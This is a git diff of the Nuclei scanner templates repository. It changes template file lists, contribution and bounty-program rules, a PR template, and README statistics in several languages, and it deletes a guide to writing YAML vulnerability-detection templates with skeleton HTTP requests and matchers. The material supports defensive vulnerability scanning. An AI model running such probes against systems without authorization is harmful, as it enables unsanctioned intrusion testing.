@@ -1,86 +1,8 @@
-code/cves/2026/CVE-2026-10795.yaml
-code/cves/2026/CVE-2026-31431.yaml
-http/cves/2020/CVE-2020-36884.yaml
-http/cves/2021/CVE-2021-3239.yaml
-http/cves/2022/CVE-2022-44727.yaml
-http/cves/2024/CVE-2024-12008.yaml
-http/cves/2024/CVE-2024-6569.yaml
-http/cves/2025/CVE-2025-13339.yaml
-http/cves/2025/CVE-2025-13773.yaml
-http/cves/2025/CVE-2025-25296.yaml
-http/cves/2025/CVE-2025-47783.yaml
-http/cves/2025/CVE-2025-49001.yaml
-http/cves/2025/CVE-2025-61224.yaml
-http/cves/2026/CVE-2026-10520.yaml
-http/cves/2026/CVE-2026-10580.yaml
-http/cves/2026/CVE-2026-20253.yaml
-http/cves/2026/CVE-2026-22557.yaml
-http/cves/2026/CVE-2026-25527.yaml
-http/cves/2026/CVE-2026-25555.yaml
-http/cves/2026/CVE-2026-26190.yaml
-http/cves/2026/CVE-2026-2652.yaml
-http/cves/2026/CVE-2026-27760.yaml
-http/cves/2026/CVE-2026-27771.yaml
-http/cves/2026/CVE-2026-27826.yaml
-http/cves/2026/CVE-2026-27833.yaml
-http/cves/2026/CVE-2026-29059.yaml
-http/cves/2026/CVE-2026-3018.yaml
-http/cves/2026/CVE-2026-3300.yaml
-http/cves/2026/CVE-2026-33476.yaml
-http/cves/2026/CVE-2026-34910.yaml
-http/cves/2026/CVE-2026-35273.yaml
-http/cves/2026/CVE-2026-40151.yaml
-http/cves/2026/CVE-2026-41492.yaml
-http/cves/2026/CVE-2026-42208.yaml
-http/cves/2026/CVE-2026-42271.yaml
-http/cves/2026/CVE-2026-42589.yaml
-http/cves/2026/CVE-2026-42647.yaml
-http/cves/2026/CVE-2026-44262.yaml
-http/cves/2026/CVE-2026-44551.yaml
-http/cves/2026/CVE-2026-45298.yaml
-http/cves/2026/CVE-2026-45397.yaml
-http/cves/2026/CVE-2026-46364.yaml
-http/cves/2026/CVE-2026-47670.yaml
-http/cves/2026/CVE-2026-47717.yaml
-http/cves/2026/CVE-2026-48710.yaml
-http/cves/2026/CVE-2026-48907.yaml
-http/cves/2026/CVE-2026-49777.yaml
-http/cves/2026/CVE-2026-50230.yaml
-http/cves/2026/CVE-2026-5027.yaml
-http/cves/2026/CVE-2026-5073.yaml
-http/cves/2026/CVE-2026-50751.yaml
-http/cves/2026/CVE-2026-53787.yaml
-http/cves/2026/CVE-2026-54066.yaml
-http/cves/2026/CVE-2026-54069.yaml
-http/cves/2026/CVE-2026-54157.yaml
-http/cves/2026/CVE-2026-54236.yaml
-http/cves/2026/CVE-2026-55592.yaml
-http/cves/2026/CVE-2026-7798.yaml
-http/cves/2026/CVE-2026-8054.yaml
-http/cves/2026/CVE-2026-8839.yaml
-http/cves/2026/CVE-2026-9290.yaml
-http/cves/2026/cve-2026-44338.yaml
-http/exposed-panels/advantech-webaccess-panel.yaml
-http/exposed-panels/baserow-login-panel.yaml
-http/exposed-panels/bytebase-auth-panel.yaml
-http/exposed-panels/homarr-panel.yaml
-http/exposed-panels/ibm/ibm-webmethods-panel.yaml
-http/exposed-panels/ivanti-sentry-panel.yaml
-http/exposed-panels/kargo-login.yaml
-http/exposed-panels/ligolo-ng-panel.yaml
-http/exposed-panels/mixpost-auth-panel.yaml
-http/exposed-panels/rallly-login-panel.yaml
-http/exposed-panels/stackstorm-web-ui-panel.yaml
-http/exposed-panels/vikunja-panel.yaml
-http/exposures/configs/google-service-info-plist.yaml
-http/exposures/configs/hexstrike-ai-config.yaml
-http/exposures/files/a2a-agent-card-enum.yaml
-http/misconfiguration/dlink-dsl2600u-rom0-disclosure.yaml
-http/misconfiguration/installer/budibase-admin-installer.yaml
-http/misconfiguration/postiz-registration-enabled.yaml
-http/misconfiguration/unauth-mulesoft-dataweave.yaml
-http/vulnerabilities/dify/dify-ssrf-remote-upload.yaml
-http/vulnerabilities/yeswiki/yeswiki-reflected-xss.yaml
-javascript/cves/2026/CVE-2026-0257.yaml
-javascript/cves/2026/CVE-2026-4480.yaml
-workflows/phpldapadmin-workflow.yaml
+http/cves/2022/CVE-2022-25237.yaml
+http/cves/2025/CVE-2025-1595.yaml
+http/cves/2025/CVE-2025-6197.yaml
+http/default-logins/openmetadata/openmetadata-default-login.yaml
+http/exposed-panels/scalar-detection.yaml
+http/miscellaneous/dnt-policy-detect.yaml
+http/technologies/openmetadata-detect.yaml
+http/vulnerabilities/other/easycvr-user-info-disclosure.yaml
@@ -17,7 +17,6 @@ tags:
  - "local"
  - "fuzz"
  - "bruteforce"
-  - "txt-service"

 # The following templates have been excluded because they have weak matchers and may generate FP results.
 # Please feel free to create PR if you can update the templates with strict matchers.
@@ -32,11 +31,9 @@ files:
  - http/fuzzing/mdb-database-file.yaml
  - http/fuzzing/iis-shortname.yaml
  - dns/soa-detect.yaml
+  - dns/txt-service-detect.yaml
  - javascript/enumeration/pop3/pop3-capabilities-enum.yaml
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
  - javascript/enumeration/minecraft-enum.yaml
-  - http/miscellaneous/crypto-address-detect.yaml
-  - http/vulnerabilities/wp-functions-php-disclosure.yaml
-  - dns/acme-challenge-detect.yaml
-  - aaaa-fingerprint.yaml
+  - javascript/enumeration/minecraft-enum.yaml
@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut

 - Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
 - Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
+- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.

 Along with the P.O.C following are the required fields in the info section for submitting new template.

@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s

 **Don’t**

- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
+- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
 - Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
 - Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
 - Try to keep the requests per template as low as possible
@@ -1,6 +1,6 @@
-# Nuclei Templates Bounty - FAQ
+# Nuclei Templates Community Rewards Program - FAQ

-## What is the purpose of this bounty program?
+## What is the purpose of this rewards program?
 The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.

 ## What are the bounty ranges for template submissions?
@@ -10,17 +10,12 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
 Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)

 ## What is the acceptance criteria for templates?
-The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
-
 Templates must meet the following criteria:
 1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
-2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
-3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
-4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
-5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
-6. **Accurate Matchers**: Use strong matchers to avoid false positives.
-
-> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
+2. **Debug Data**: Include debug data to assist with template validation.
+3. **Validation Required**: The template will be reviewed and validated before rewards are given.
+4. **Accurate Matchers**: Use strong matchers to avoid false positives.
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.

 ## How do I start working on a bounty issue?
 1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -70,7 +65,7 @@ Templates may be rejected if they:
 Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).

 ## Is this program permanent?
-The bounty program is currently a test run, but we may make changes based on community feedback.
+The rewards program is currently a test run, but we may make changes based on community feedback.

 ## What additional rewards are available besides bounties?
 Beyond bounties, we also reward contributors with:
@@ -1,4 +1,4 @@
-### PR Information
+### Template / PR Information

 <!-- Explains the information and/or motivation for update or/ creating this templates -->
 <!-- Please include any reference to your template if available -->
@@ -6,23 +6,23 @@
 - Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
 - References:

-### Template validation
+### Template Validation

-<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
-<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
+I've validated this template locally?
+- [ ] YES
+- [ ] NO

- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)

 #### Additional Details (leave it blank if not applicable)

-<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
+<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
+<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
 <!-- Please do NOT include vulnerable host information in pull requests -->
 <!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->

 ### Additional References:

- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
+- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
 - [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
 - [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -36,38 +36,24 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td>
-
-### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
-
-Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
-
-| **KEV Source** | **Templates** | **Description** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
-| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
-
-> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
-
---
+<td> 

 ## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
-| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
-| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
-| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
-| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
-| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
-| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
-| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
-| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
+| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
+| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
+| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
+| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
+| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |

-**873 directories, 11997 files**.
+**847 directories, 11287 files**.

 </td>
 </tr>
@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -42,38 +42,24 @@ Nuclei 模板

 <table>
 <tr>
-<td>
+<td> 

-### 🚨 已知被利用漏洞 (KEV) 覆盖范围
-
-Nuclei 模板为野外被积极利用的漏洞提供覆盖:
-
-| **KEV 来源** | **模板数量** | **描述** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
-| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
-
-> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
-
---
-
-## Nuclei Templates Top 10 statistics
+## Nuclei模板TOP10统计信息

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
-| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
-| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
-| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
-| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
-| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
-| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
-| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
-| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+| cve       |  2877 | dhiyaneshdk   |  1477 | http       |  8219 | info     |  3948 | file |   404 |
+| panel     |  1246 | daffainfo     |   866 | file       |   404 | high     |  2135 | dns  |    25 |
+| wordpress |  1072 | dwisiswant0   |   803 | cloud      |   370 | medium   |  1840 |      |       |
+| exposure  |  1006 | princechaddha |   570 | workflows  |   192 | critical |  1197 |      |       |
+| xss       |   987 | ritikchaddha  |   496 | code       |   157 | low      |   287 |      |       |
+| wp-plugin |   936 | pussycat0x    |   453 | network    |   138 | unknown  |    43 |      |       |
+| osint     |   807 | pikpikcu      |   353 | javascript |    65 |          |       |      |       |
+| tech      |   745 | pdteam        |   302 | ssl        |    30 |          |       |      |       |
+| lfi       |   727 | ricardomaia   |   245 | dast       |    26 |          |       |      |       |
+| misconfig |   720 | geeknik       |   231 | dns        |    22 |          |       |      |       |

-**873 directories, 11997 files**.
+**743 directories, 9960 files**.

 </td>
 </tr>
@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -37,38 +37,24 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td>
+<td> 

-### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
+## Nuclei テンプレート トップ10統計

-Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
+|    タグ    | 数   |    著者       | 数   |    ディレクトリ  | 数   | 重大度 | 数   |  種類   | 数   |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
+| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
+| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
+| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
+| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
+| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
+| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
+| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
+| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
+| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |

-| **KEV ソース** | **テンプレート数** | **説明** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
-| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
-
-> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
-
---
-
-## Nuclei Templates Top 10 statistics
-
-|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
-|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
-| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
-| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
-| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
-| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
-| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
-| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
-| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
-| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
-
-**873 directories, 11997 files**.
+**286個のディレクトリ、4012個のファイル**。

 </td>
 </tr>
@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -39,38 +39,24 @@ Nuclei 템플릿

 <table>
 <tr>
-<td>
+<td> 

-### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
+## Nuclei 템플릿 통계 Top 10

-Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+|    태그    | 개수 |    작성자     | 개수 |    디렉토리     | 개수 | 심각도 | 개수 |  종류   | 개수 |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
+| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
+| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
+| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
+| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
+| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
+| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
+| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
+| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
+| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |

-| **KEV 소스** | **템플릿 수** | **설명** |
-|----------------|---------------|-----------------|
-| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
-| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
-| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
-
-> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
-
---
-
-## Nuclei Templates Top 10 statistics
-
-|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
-|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
-| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
-| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
-| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
-| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
-| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
-| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
-| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
-| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
-| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
-
-**873 directories, 11997 files**.
+**286개 디렉토리, 4012개 파일**.

 </td>
 </tr>
@@ -1,524 +0,0 @@
-# Nuclei Template Creation Guide
-**Complete Guide for Writing High-Quality Security Templates**
-
---
-
-## Getting Started
-
-### **What is a Nuclei Template?**
-Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
-
-> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
-
-### **Template Structure Overview**
-```yaml
-id: template-identifier
-info:
-  name: Human Readable Vulnerability Name
-  author: your-github-username,vulnerability-discoverer-handle
-  severity: critical|high|medium|low|info
-  description: Clear explanation of what this template detects
-  reference:
-    - https://link-to-vulnerability-details
-  classification:
-    cve-id: CVE-2024-1234
-    cwe-id: CWE-89
-  tags: cve,sqli,rce
-  metadata:
-    verified: true
-    shodan-query: 'http.title:"VulnApp"'
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/vulnerable-endpoint"
-    
-    matchers:
-      - type: word
-        words:
-          - "vulnerability_indicator"
-        part: body
-```
-
---
-
-## Step-by-Step Template Creation
-
-### **Step 1: Research and Understand the Vulnerability**
-Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
-
-### **Step 2: Choose Your Template ID and Info**
-```yaml
-# Use descriptive, short identifiers
-id: apache-struts-ognl-injection  # GOOD - clear and specific
-id: vuln-app-rce                  # BAD - too generic
-
-info:
-  name: Apache Struts OGNL Code Injection  # Format: "Vendor Product - Vulnerability Type"
-  author: your-github-username,original-researcher-handle  # Always credit the discoverer
-  severity: critical  # Based on CVSS score and real-world impact
-```
-
-### **Step 3: Write Accurate Description and References**
-```yaml
-info:
-  description: |
-    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
-    OGNL injection vulnerability that allows remote code execution.
-  reference:
-    - https://cwiki.apache.org/confluence/display/WW/S2-057
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
-    - https://seclists.org/fulldisclosure/2018/Aug/31
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.1
-    cve-id: CVE-2018-11776
-    cwe-id: CWE-94
-```
-
-### **Step 4: Add Proper Tags and Metadata**
-```yaml
-info:
-  tags: cve,cve2018,rce,apache,struts,ognl  # Be specific and comprehensive
-  metadata:
-    verified: true  # Only if you've tested it yourself
-    max-request: 1  # Auto-calculated, don't set manually
-    shodan-query: 'http.component:"Apache Struts"'
-    fofa-query: 'body="struts" && title="Apache"'
-```
-
---
-
-## Writing Effective HTTP Requests
-
-### **Basic HTTP Template Structure**
-```yaml
-http:
-  - method: GET|POST|PUT|DELETE
-    path:
-      - "{{BaseURL}}/endpoint"        # Dynamic BaseURL variable
-      - "{{Hostname}}/another-path"   # Alternative dynamic variable
-    
-    headers:
-      User-Agent: Custom-Agent-String
-      Content-Type: application/json
-      Origin: https://example.com
-    
-    body: |
-      {"param": "{{payload}}"}
-    
-    disable-cookie: false  # Cookies reused by default (optional)
-    
-    matchers-condition: and  # Require ALL matchers to pass
-    matchers:
-      - type: word
-        words:
-          - "success_indicator"
-        part: body
-```
-
-> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
-
-### **Using Variables for Flexibility**
-```yaml
-variables:
-  username: "admin"
-  payload: "{{rand_base(8)}}"
-
-http:
-  - method: POST
-    path:
-      - "{{BaseURL}}/login"
-    body: |
-      username={{username}}&password={{payload}}
-```
-
---
-
-## Matcher Best Practices
-
-### **🚫 Avoid Weak Matchers**
-```yaml
-# BAD - Too generic, will match many innocent systems
-matchers:
-  - type: word
-    words:
-      - "error"
-      - "admin"
-      - "login"
-    part: body
-```
-
-### **✅ Use Strong, Specific Matchers**
-```yaml
-# GOOD - Specific to the vulnerability
-matchers-condition: and
-matchers:
-  - type: word
-    words:
-      - "VulnApp Management Console v2.1.0"  # Specific application version
-      - "Build 2024.03.15"                   # Specific build
-    part: body
-    
-  - type: status
-    status:
-      - 200
-      
-  - type: word
-    words:
-      - "OGNL_INJECTION_SUCCESS_{{randstr}}"  # Proof of exploitation
-      - "java.lang.ProcessBuilder"            # Technical indicator
-    part: body
-    condition: or  # Any of these proves exploitation
-```
-
-### **Multi-Layer Verification Strategy**
-```yaml
-# Layer 1: Identify the application
-# Layer 2: Confirm vulnerable version  
